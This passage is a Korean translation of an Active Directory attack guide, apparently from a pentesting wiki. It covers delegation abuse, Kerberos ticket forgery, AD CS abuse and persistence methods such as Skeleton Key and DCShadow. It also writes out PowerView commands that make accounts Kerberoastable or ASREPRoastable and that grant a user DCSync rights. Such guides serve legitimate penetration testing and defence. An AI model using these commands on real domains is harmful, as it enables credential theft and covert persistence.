๋งŒ์•ฝ ์–ด๋–ค Computer ๊ฐ์ฒด๊ฐ€ ADS_UF_TRUSTED_FOR_DELEGATION ์†์„ฑ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ  ๊ทธ ์ปดํ“จํ„ฐ์— ๋Œ€ํ•œ ๋„๋ฉ”์ธ ๊ถŒํ•œ์„ ๊ฐ–๊ณ  ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ์ปดํ“จํ„ฐ์— ๋กœ๊ทธ์ธํ•˜๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ ๋ฉ”๋ชจ๋ฆฌ์—์„œ TGT๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ Domain Admin์ด ํ•ด๋‹น ์ปดํ“จํ„ฐ์— ๋กœ๊ทธ์ธํ•˜๋ฉด, ๊ทธ์˜ TGT๋ฅผ ๋คํ”„ํ•˜์—ฌ Pass the Ticket๋ฅผ ์‚ฌ์šฉํ•ด ๊ทธ๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
constrained delegation ๋•๋ถ„์— Print Server๋ฅผ ์ž๋™์œผ๋กœ ํƒˆ์ทจํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค (์šด์ด ์ข‹์œผ๋ฉด ๊ทธ๊ฒƒ์ด DC์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค).

Unconstrained Delegation

Constrained Delegation

์‚ฌ์šฉ์ž๋‚˜ ์ปดํ“จํ„ฐ๊ฐ€ โ€œConstrained Delegationโ€œ์„ ํ—ˆ์šฉํ•˜๋ฉด ํ•ด๋‹น ๋Œ€์ƒ ์ปดํ“จํ„ฐ์˜ ์ผ๋ถ€ ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์ž„์˜์˜ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ์ด ์‚ฌ์šฉ์ž/์ปดํ“จํ„ฐ์˜ hash๋ฅผ ํƒˆ์ทจํ•˜๋ฉด, ์ผ๋ถ€ ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์–ด๋–ค ์‚ฌ์šฉ์ž๋“ (์‹ฌ์ง€์–ด domain admins ํฌํ•จ) ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Constrained Delegation

Resourced-based Constrain Delegation

์›๊ฒฉ ์ปดํ“จํ„ฐ์˜ Active Directory ๊ฐ์ฒด์— ๋Œ€ํ•ด WRITE ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๋ฉด ์Šน๊ฒฉ๋œ ๊ถŒํ•œ์œผ๋กœ ์ฝ”๋“œ ์‹คํ–‰์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Resource-based Constrained Delegation

๊ถŒํ•œ/ACL ์˜ค์šฉ

ํƒˆ์ทจ๋œ ์‚ฌ์šฉ์ž๋Š” ํŠน์ • ๋„๋ฉ”์ธ ๊ฐ์ฒด์— ๋Œ€ํ•ด ํฅ๋ฏธ๋กœ์šด ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ์ดํ›„์— ์ธก๋ฉด ์ด๋™/๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Abusing Active Directory ACLs/ACEs

Printer Spooler ์„œ๋น„์Šค ์˜ค์šฉ

๋„๋ฉ”์ธ ๋‚ด์—์„œ Spool ์„œ๋น„์Šค๊ฐ€ ๋ฆฌ์Šค๋‹ ์ค‘์ธ ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ์ด๋Š” ์ƒˆ ์ž๊ฒฉ์ฆ๋ช… ํš๋“ ๋ฐ ๊ถŒํ•œ ์ƒ์Šน์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Force NTLM Privileged Authentication

์ œ3์ž ์„ธ์…˜ ์˜ค์šฉ

๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋“ค์ด ํƒˆ์ทจ๋œ ๋จธ์‹ ์— ์ ‘์†ํ•˜๋Š” ๊ฒฝ์šฐ, ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž๊ฒฉ์ฆ๋ช… ์ˆ˜์ง‘ ๋ฐ ์‹ฌ์ง€์–ด ๊ทธ๋“ค์˜ ํ”„๋กœ์„ธ์Šค์— beacon ์ฃผ์ž…์„ ํ†ตํ•ด ๊ทธ๋“ค์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋Œ€๋ถ€๋ถ„ ์‚ฌ์šฉ์ž๋Š” RDP๋กœ ์‹œ์Šคํ…œ์— ์ ‘์†ํ•˜๋ฏ€๋กœ, ์ œ3์ž RDP ์„ธ์…˜์— ๋Œ€ํ•ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

RDP Sessions Abuse

LAPS

LAPS๋Š” ๋„๋ฉ”์ธ ๊ฐ€์ž… ์ปดํ“จํ„ฐ์˜ ๋กœ์ปฌ Administrator ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ์‹œ์Šคํ…œ์œผ๋กœ, ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฌด์ž‘์œ„ํ™”, ๊ณ ์œ ํ™”ํ•˜๊ณ  ์ž์ฃผ ๋ณ€๊ฒฝ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” Active Directory์— ์ €์žฅ๋˜๋ฉฐ ์•ก์„ธ์Šค๋Š” ACL์„ ํ†ตํ•ด ํ—ˆ์šฉ๋œ ์‚ฌ์šฉ์ž๋กœ๋งŒ ์ œ์–ด๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ๋‹ค๋ฅธ ์ปดํ“จํ„ฐ๋กœ ํ”ผ๋ฒ—ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

LAPS

์ธ์ฆ์„œ ํƒˆ์ทจ

ํƒˆ์ทจ๋œ ๋จธ์‹ ์—์„œ ์ธ์ฆ์„œ ์ˆ˜์ง‘์€ ํ™˜๊ฒฝ ๋‚ด์—์„œ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

AD CS Certificate Theft

์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ ์˜ค์šฉ

์ทจ์•ฝํ•œ ํ…œํ”Œ๋ฆฟ์ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

AD CS Domain Escalation

๋†’์€ ๊ถŒํ•œ ๊ณ„์ •์œผ๋กœ์˜ ์‚ฌํ›„ ์ฐฉ์ทจ

๋„๋ฉ”์ธ ์ž๊ฒฉ์ฆ๋ช… ๋คํ”„

์ผ๋‹จ Domain Admin ๋˜๋Š” ๋” ๋‚˜์•„๊ฐ€ Enterprise Admin ๊ถŒํ•œ์„ ์–ป์œผ๋ฉด, ๋„๋ฉ”์ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ธ _ntds.dit_์„ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

More information about DCSync attack can be found here.

More information about how to steal the NTDS.dit can be found here

๊ถŒํ•œ ์ƒ์Šน์„ ์ด์šฉํ•œ ์˜์†์„ฑ (Privesc as Persistence)

์•ž์„œ ๋…ผ์˜ํ•œ ์ผ๋ถ€ ๊ธฐ์ˆ ์€ ์˜์†์„ฑ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์‚ฌ์šฉ์ž๋ฅผ Kerberoast์— ์ทจ์•ฝํ•˜๊ฒŒ ๋งŒ๋“ค๊ธฐ
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
  • ์‚ฌ์šฉ์ž๋ฅผ ASREPRoast์— ์ทจ์•ฝํ•˜๊ฒŒ ๋งŒ๋“ค๊ธฐ
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
  • ์‚ฌ์šฉ์ž์—๊ฒŒ DCSync ๊ถŒํ•œ ๋ถ€์—ฌ
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync

Silver Ticket

Silver Ticket ๊ณต๊ฒฉ์€ ํŠน์ • ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์ •๋‹นํ•œ Ticket Granting Service (TGS) ํ‹ฐ์ผ“์„ ์ƒ์„ฑํ•˜๋Š”๋ฐ, ์ด๋Š” ์˜ˆ๋ฅผ ๋“ค์–ด PC ๊ณ„์ •์˜ NTLM hash ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์„œ๋น„์Šค ๊ถŒํ•œ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

Silver Ticket

Golden Ticket

Golden Ticket ๊ณต๊ฒฉ์€ ๊ณต๊ฒฉ์ž๊ฐ€ Active Directory(AD) ํ™˜๊ฒฝ์—์„œ krbtgt ๊ณ„์ •์˜ NTLM hash์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณ„์ •์€ ๋ชจ๋“  **Ticket Granting Ticket (TGT)**์„ ์„œ๋ช…ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ AD ๋„คํŠธ์›Œํฌ ๋‚ด ์ธ์ฆ์— ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด ํ•ด์‹œ๋ฅผ ํš๋“ํ•˜๋ฉด, ์–ด๋–ค ๊ณ„์ •์ด๋“ ์ง€(์˜ˆ: Silver ticket ๊ณต๊ฒฉ๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ) ์œ„ํ•œ TGT๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Golden Ticket

Diamond Ticket

์ด๋Š” ์ผ๋ฐ˜์ ์ธ golden ticket ํƒ์ง€ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์šฐํšŒํ•˜๋„๋ก ์œ„์กฐ๋œ golden ticket๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

Diamond Ticket

์ธ์ฆ์„œ ๊ธฐ๋ฐ˜ ๊ณ„์ • ์˜์†์„ฑ

๊ณ„์ •์˜ ์ธ์ฆ์„œ๋ฅผ ๋ณด์œ ํ•˜๊ฑฐ๋‚˜ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์€ ์‚ฌ์šฉ์ž์˜ ๊ณ„์ •์— (๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋”๋ผ๋„) ์˜์†์ ์œผ๋กœ ๋จธ๋ฌด๋ฅผ ์ˆ˜ ์žˆ๋Š” ๋งค์šฐ ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค:

AD CS Account Persistence

์ธ์ฆ์„œ ๊ธฐ๋ฐ˜ ๋„๋ฉ”์ธ ์˜์†์„ฑ

์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•ด ๋„๋ฉ”์ธ ๋‚ด์—์„œ ๋†’์€ ๊ถŒํ•œ์œผ๋กœ ์˜์†ํ™”ํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

AD CS Domain Persistence

AdminSDHolder ๊ทธ๋ฃน

Active Directory์˜ AdminSDHolder ๊ฐ์ฒด๋Š” ํŠน๊ถŒ ๊ทธ๋ฃน(์˜ˆ: Domain Admins, Enterprise Admins)์˜ ๋ณด์•ˆ์„ ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ด๋Ÿฌํ•œ ๊ทธ๋ฃน์— ํ‘œ์ค€ ACL์„ ์ ์šฉํ•˜์—ฌ ๋ฌด๋‹จ ๋ณ€๊ฒฝ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๊ธฐ๋Šฅ์€ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค; ๊ณต๊ฒฉ์ž๊ฐ€ AdminSDHolder์˜ ACL์„ ์ˆ˜์ •ํ•˜์—ฌ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์ฒด ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋Š” ๋ชจ๋“  ํŠน๊ถŒ ๊ทธ๋ฃน์— ๋Œ€ํ•œ ๊ด‘๋ฒ”์œ„ํ•œ ์ œ์–ด๊ถŒ์„ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด ๋ณด์•ˆ ์กฐ์น˜๋Š” ๋ฉด๋ฐ€ํžˆ ๋ชจ๋‹ˆํ„ฐ๋ง๋˜์ง€ ์•Š์œผ๋ฉด ์˜คํžˆ๋ ค ์›์น˜ ์•Š๋Š” ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

More information about AdminDSHolder Group here.

DSRM ์ž๊ฒฉ์ฆ๋ช…

๊ฐ Domain Controller (DC) ๋‚ด๋ถ€์—๋Š” ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ณ„์ •์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๋จธ์‹ ์—์„œ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ์–ป์œผ๋ฉด, ๋กœ์ปฌ Administrator ํ•ด์‹œ๋Š” mimikatz๋ฅผ ์‚ฌ์šฉํ•ด ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„ ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ์‚ฌ์šฉ์„ ํ™œ์„ฑํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ˆ˜์ •์„ ์ˆ˜ํ–‰ํ•˜๋ฉด ๋กœ์ปฌ Administrator ๊ณ„์ •์œผ๋กœ ์›๊ฒฉ ์ ‘์†์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

DSRM Credentials

ACL ์˜์†์„ฑ

ํŠน์ • ๋„๋ฉ”์ธ ๊ฐ์ฒด์— ๋Œ€ํ•ด ์ผ๋ถ€ ํŠน์ˆ˜ ๊ถŒํ•œ์„ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ถ€์—ฌํ•˜์—ฌ ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ ํ–ฅํ›„ ๊ถŒํ•œ ์ƒ์Šน์„ ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Abusing Active Directory ACLs/ACEs

๋ณด์•ˆ ๊ธฐ์ˆ ์ž(Security Descriptors)

Security descriptors๋Š” ๊ฐ์ฒด๊ฐ€ ๋‹ค๋ฅธ ๊ฐ์ฒด์— ๋Œ€ํ•ด ๊ฐ–๋Š” ๊ถŒํ•œ์„ ์ €์žฅํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ฐ์ฒด์˜ security descriptor์— ์ž‘์€ ๋ณ€๊ฒฝ๋งŒ ํ•ด๋„, ํ•ด๋‹น ๊ฐ์ฒด์— ๋Œ€ํ•ด ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํŠน๊ถŒ ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์ด ๋  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.

Security Descriptors

Skeleton Key

๋ฉ”๋ชจ๋ฆฌ์˜ LSASS๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ๋ชจ๋“  ๋„๋ฉ”์ธ ๊ณ„์ •์— ๋Œ€ํ•ด ๋ฒ”์šฉ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ค์ •ํ•˜๋ฉด ๋ชจ๋“  ๊ณ„์ •์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Skeleton Key

Custom SSP

Learn what is a SSP (Security Support Provider) here.
์ž์‹ ์˜ SSP๋ฅผ ๋งŒ๋“ค์–ด ๋จธ์‹ ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์ž๊ฒฉ์ฆ๋ช…์„ ํ‰๋ฌธ์œผ๋กœ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Custom SSP

DCShadow

์ด ๊ธฐ์ˆ ์€ Active Directory์— ์ƒˆ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ๋“ฑ๋กํ•˜๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•ด ์ง€์ •๋œ ๊ฐ์ฒด๋“ค์— ๋Œ€ํ•ด ๋ณ€๊ฒฝ ์‚ฌํ•ญ(SIDHistory, SPNs ๋“ฑ)์„ ๋กœ๊ทธ๋ฅผ ๋‚จ๊ธฐ์ง€ ์•Š๊ณ  ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด ์ž‘์—…์„ ์œ„ํ•ด์„œ๋Š” DA ๊ถŒํ•œ๊ณผ ๋ฃจํŠธ ๋„๋ฉ”์ธ ๋‚ด๋ถ€์— ์žˆ์„ ๊ฒƒ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
์ž˜๋ชป๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ƒ๋‹นํžˆ ๋ˆˆ์— ๋„๋Š” ๋กœ๊ทธ๊ฐ€ ์ƒ์„ฑ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”.

DCShadow

LAPS ์˜์†์„ฑ

์•ž์„œ LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ๋…ผ์˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์˜์†์„ฑ ์œ ์ง€์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ฐธ์กฐ:

LAPS

ํฌ๋ฆฌ์ŠคํŠธ ๊ถŒํ•œ ์ƒ์Šน - ๋„๋ฉ”์ธ ์‹ ๋ขฐ

๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ๋Š” **ํฌ๋ฆฌ์ŠคํŠธ(Forest)**๋ฅผ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ•˜๋‚˜์˜ ๋„๋ฉ”์ธ์„ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ์œผ๋กœ ํฌ๋ฆฌ์ŠคํŠธ ์ „์ฒด๊ฐ€ ์œ„ํ—˜ํ•ด์งˆ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ์ •๋ณด

domain trust๋Š” ํ•œ ๋„๋ฉ”์ธ์˜ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ์ž์›์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋‘ ๋„๋ฉ”์ธ์˜ ์ธ์ฆ ์‹œ์Šคํ…œ ๊ฐ„์˜ ์—ฐ๊ณ„๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ธ์ฆ ๊ฒ€์ฆ์ด ์›ํ™œํ•˜๊ฒŒ ํ๋ฅด๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ๋“ค์ด ํŠธ๋Ÿฌ์ŠคํŠธ๋ฅผ ์„ค์ •ํ•˜๋ฉด, ํŠธ๋Ÿฌ์ŠคํŠธ์˜ ๋ฌด๊ฒฐ์„ฑ์— ์ค‘์š”ํ•œ ํŠน์ • ํ‚ค๋ฅผ ๊ฐ ๋„๋ฉ”์ธ์˜ **Domain Controller (DC)**์— ๊ตํ™˜ ๋ฐ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์‹ ๋ขฐ๋œ ๋„๋ฉ”์ธ์˜ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ๋จผ์ € ์ž์‹ ์˜ ๋„๋ฉ”์ธ DC๋กœ๋ถ€ํ„ฐ inter-realm TGT๋ผ๋Š” ํŠน์ˆ˜ํ•œ ํ‹ฐ์ผ“์„ ์š”์ฒญํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด TGT๋Š” ๋‘ ๋„๋ฉ”์ธ์ด ํ•ฉ์˜ํ•œ ๊ณต์œ  ํ‚ค๋กœ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ์ด TGT๋ฅผ ์‹ ๋ขฐ๋œ ๋„๋ฉ”์ธ์˜ DC์— ์ œ์‹œํ•˜์—ฌ ์„œ๋น„์Šค ํ‹ฐ์ผ“(TGS)์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. ์‹ ๋ขฐ๋œ ๋„๋ฉ”์ธ์˜ DC๊ฐ€ inter-realm TGT๋ฅผ ๊ณต์œ ๋œ ํŠธ๋Ÿฌ์ŠคํŠธ ํ‚ค๋กœ ๊ฒ€์ฆํ•˜๋ฉด, ์š”์ฒญํ•œ ์„œ๋น„์Šค์— ๋Œ€ํ•œ TGS๋ฅผ ๋ฐœ๊ธ‰ํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ์„œ๋น„์Šค ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋‹จ๊ณ„:

  1. Domain 1์˜ ํด๋ผ์ด์–ธํŠธ ์ปดํ“จํ„ฐ๊ฐ€ ์ž์‹ ์˜ NTLM hash๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **Domain Controller (DC1)**์— **Ticket Granting Ticket (TGT)**๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.
  2. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์ธ์ฆ๋˜๋ฉด DC1์€ ์ƒˆ๋กœ์šด TGT๋ฅผ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค.
  3. ํด๋ผ์ด์–ธํŠธ๋Š” Domain 2์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด DC1๋กœ๋ถ€ํ„ฐ inter-realm TGT๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.
  4. inter-realm TGT๋Š” ์–‘๋ฐฉํ–ฅ ๋„๋ฉ”์ธ ํŠธ๋Ÿฌ์ŠคํŠธ์˜ ์ผ๋ถ€๋กœ DC1๊ณผ DC2๊ฐ€ ๊ณต์œ ํ•˜๋Š” trust key๋กœ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค.
  5. ํด๋ผ์ด์–ธํŠธ๋Š” ์ด inter-realm TGT๋ฅผ **Domain 2์˜ Domain Controller (DC2)**์— ์ œ์ถœํ•ฉ๋‹ˆ๋‹ค.
  6. DC2๋Š” ๊ณต์œ ๋œ trust key๋ฅผ ์‚ฌ์šฉํ•ด inter-realm TGT๋ฅผ ๊ฒ€์ฆํ•˜๊ณ , ์œ ํšจํ•˜๋ฉด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ ‘๊ทผํ•˜๋ ค๋Š” Domain 2์˜ ์„œ๋ฒ„์— ๋Œ€ํ•œ **Ticket Granting Service (TGS)**๋ฅผ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค.
  7. ๋งˆ์ง€๋ง‰์œผ๋กœ, ํด๋ผ์ด์–ธํŠธ๋Š” ์ด TGS๋ฅผ ์„œ๋ฒ„์— ์ œ์ถœํ•˜๋ฉฐ, ํ•ด๋‹น TGS๋Š” ์„œ๋ฒ„ ๊ณ„์ • ํ•ด์‹œ๋กœ ์•”ํ˜ธํ™”๋˜์–ด Domain 2์˜ ์„œ๋น„์Šค ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์–‘ํ•œ ํŠธ๋Ÿฌ์ŠคํŠธ ์œ ํ˜•

ํŠธ๋Ÿฌ์ŠคํŠธ๋Š” ๋‹จ๋ฐฉํ–ฅ(1 way) ๋˜๋Š” ์–‘๋ฐฉํ–ฅ(2 ways) ์ผ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์–‘๋ฐฉํ–ฅ ์„ค์ •์—์„œ๋Š” ๋‘ ๋„๋ฉ”์ธ์ด ์„œ๋กœ๋ฅผ ์‹ ๋ขฐํ•˜์ง€๋งŒ, ๋‹จ๋ฐฉํ–ฅ์˜ ๊ฒฝ์šฐ ํ•œ ๋„๋ฉ”์ธ์€ trusted์ด๊ณ  ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์€ trusting ๋„๋ฉ”์ธ์ž…๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ trusted ๋„๋ฉ”์ธ์—์„œ trusting ๋„๋ฉ”์ธ ๋‚ด๋ถ€์˜ ์ž์›์—๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด Domain A๊ฐ€ Domain B๋ฅผ ์‹ ๋ขฐํ•˜๋ฉด, A๋Š” trusting ๋„๋ฉ”์ธ์ด๊ณ  B๋Š” trusted ๋„๋ฉ”์ธ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ Domain A์—์„œ๋Š” ์ด๋Š” Outbound trust๊ฐ€ ๋˜๋ฉฐ, Domain B์—์„œ๋Š” Inbound trust๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

๋‹ค์–‘ํ•œ ์‹ ๋ขฐ ๊ด€๊ณ„

